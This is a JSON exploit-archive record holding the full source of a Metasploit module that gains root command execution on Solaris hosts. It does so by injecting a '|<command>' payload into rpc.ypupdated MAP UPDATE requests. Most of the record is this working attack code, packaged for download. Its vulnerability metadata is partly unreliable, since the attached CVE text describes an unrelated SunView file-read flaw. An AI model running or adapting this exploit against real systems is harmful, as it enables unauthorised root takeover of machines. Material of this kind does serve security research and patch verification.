{"exploit":{"id":"EDB-5366","name":"Sun Solaris 10 - rpc.ypupdated Remote Code Execution (RCE) (Metasploit)","description":"Sun Solaris 10 - rpc.ypupdated Remote Code Execution (RCE) (Metasploit)","cves":["CVE-1999-0209"],"author":"I)ruid","published":"2008-04-04","platform":"solaris","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/5366","path":"exploits/solaris/remote/5366.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-5366.rb","vulnerabilities":[{"id":"CVE-1999-0209","state":"PUBLISHED","title":null,"titleSource":null,"description":"The SunView (SunTools) selection_svc facility allows remote users to read files.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-1999-0209","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:P/I:N/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-1999-0209"},"updatedAt":"2024-08-01T16:34:51.726Z","retrievedAt":"2026-11-26T13:05:17.198Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-5366.png?v=2","url":"https://exploitbin.com/exploits/EDB-5366","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-5366/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-5366/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"                      ____      ____     __    __\n                     /    \\    /    \\   |  |  |  |\n        ----====####/  /\\__\\##/  /\\  \\##|  |##|  |####====----\n                   |  |      |  |__|  | |  |  |  |\n                   |  |  ___ |   __   | |  |  |  |\n  ------======######\\  \\/  /#|  |##|  |#|  |##|  |######======------\n                     \\____/  |__|  |__|  \\______/\n\n                    Computer Academic Underground\n                        http://www.caughq.org\n                            Exploit Code\n\n===============/========================================================\nExploit ID:     CAU-EX-2008-0001\nRelease Date:   2008.04.04\nTitle:          ypupdated_exec.rb\nDescription:    Solaris ypupdated Command Execution\nTested:         Solaris x86/sparc 10, sparc 9, 8, 2.7\nAttributes:     Remote, NULL Auth, Elevated Privileges, Metasploit\nExploit URL:    http://www.caughq.org/exploits/CAU-EX-2008-0001.txt\nAuthor/Email:   I)ruid <druid (@) caughq.org>\n===============/========================================================\n\nDescription\n===========\n\nThis exploit targets a weakness in the way the ypupdated RPC application\nuses the command shell when handling a MAP UPDATE request.  Extra\ncommands may be launched through this command shell, which runs as root\non the remote host, by passing commands in the format '|<command>'.\n\n\nCredits\n=======\n\nJosh D. <mcpheea@cadvision.com> from Avalon Security Research is\ncredited with originally discovering this vulnerability.\n\nThis Metasploit exploit module was modeled after kcope's exploit\nreleased to Milw0rm on 2008.03.20.\n\n\nReferences\n==========\n\nhttp://osvdb.org/displayvuln.php?osvdb_id=11517\nhttp://cve.mitre.org/cgi-bin/cvename.cgi?name=1999-0209\nhttps://www.securityfocus.com/bid/1749/info\nhttp://www.milw0rm.com/exploits/5282\n\n\nMetasploit\n==========\n\nrequire 'msf/core'\n\nmodule Msf\n\nclass Exploits::Solaris::Sunrpc::YPUpdateDExec < Msf::Exploit::Remote\n\n\tinclude Exploit::Remote::SunRPC\n\n\tdef initialize(info = {})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => 'Solaris ypupdated Command Execution',\n\t\t\t'Description'    => %q{\n\t\t\t\tThis exploit targets a weakness in the way the ypupdated RPC\n\t\t\t\tapplication uses the command shell when handling a MAP UPDATE\n\t\t\t\trequest.  Extra commands may be launched through this command\n\t\t\t\tshell, which runs as root on the remote host, by passing\n\t\t\t\tcommands in the format '|<command>'.\n\n\t\t\t\tVulnerable systems include Solaris 2.7, 8, 9, and 10, when\n\t\t\t\typupdated is started with the '-i' command-line option.\n\t\t\t},\n\t\t\t'Author'         => [ 'I)ruid <druid@caughq.org>' ],\n\t\t\t'License'        => MSF_LICENSE,\n\t\t\t'Version'        => '$Revision: 4498 $',\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t['BID', '1749'],\n\t\t\t\t\t['CVE', '1999-0209'],\n\t\t\t\t\t['OSVDB', '11517'],\n\t\t\t\t],\n\t\t\t'Privileged'     => true,\n\t\t\t'Platform'       => ['unix', 'solaris'],\n\t\t\t'Arch'           => ARCH_CMD,\n\t\t\t'Payload'        =>\n\t\t\t\t{\n\t\t\t\t\t'Space'    => 1024,\n\t\t\t\t\t'DisableNops' => true,\n\t\t\t\t},\n\t\t\t'Targets'        => [ ['Automatic', { }], ],\n\t\t\t'DefaultTarget' => 0\n\t\t))\n\n\t\tregister_options(\n\t\t\t[\n\t\t\t\tOptString.new('HOSTNAME', [false, 'Remote hostname', 'localhost']),\n\t\t\t\tOptInt.new('GID', [false, 'GID to emulate', 0]),\n\t\t\t\tOptInt.new('UID', [false, 'UID to emulate', 0])\n\t\t\t], self.class\n\t\t)\n\tend\n\n\tdef exploit\n\t\thostname  = datastore['HOSTNAME']\n\t\tprogram   = 100028\n\t\tprogver   = 1\n\t\tprocedure = 1\n\n\t\tprint_status 'Sending PortMap request for ypupdated program'\n\t\tpport = sunrpc_create('udp', program, progver)\n\n\t\tprint_status \"Sending MAP UPDATE request with command '#{payload.encoded}'\"\n\t\tprint_status 'Waiting for response...'\n\t\tsunrpc_authunix(hostname, datastore['UID'], datastore['GID'], [])\n\t\tcommand = '|' + payload.encoded\n\t\tmsg = XDR.encode(command, 2, 0x78000000, 2, 0x78000000)\n\t\tsunrpc_call(procedure, msg)\n\n\t\tsunrpc_destroy\n\n\t\tprint_good 'No Errors, appears to have succeeded!'\n\trescue ::Rex::Proto::SunRPC::RPCTimeout\n\t\tprint_status 'Warning: ' + $!\n\t\tprint_status 'Exploit may or may not have succeeded.'\n\tend\n\nend\nend\n\n# milw0rm.com [2008-04-04]","sha256":"2499c0ae33106fed6001e11c100b460cf8195e7b1a3f0c0b1213c3338bf31382","bytes":4056,"fetchedAt":"2026-11-26T13:05:17.002Z","encoding":"utf-8 (display only; download retains original bytes)"}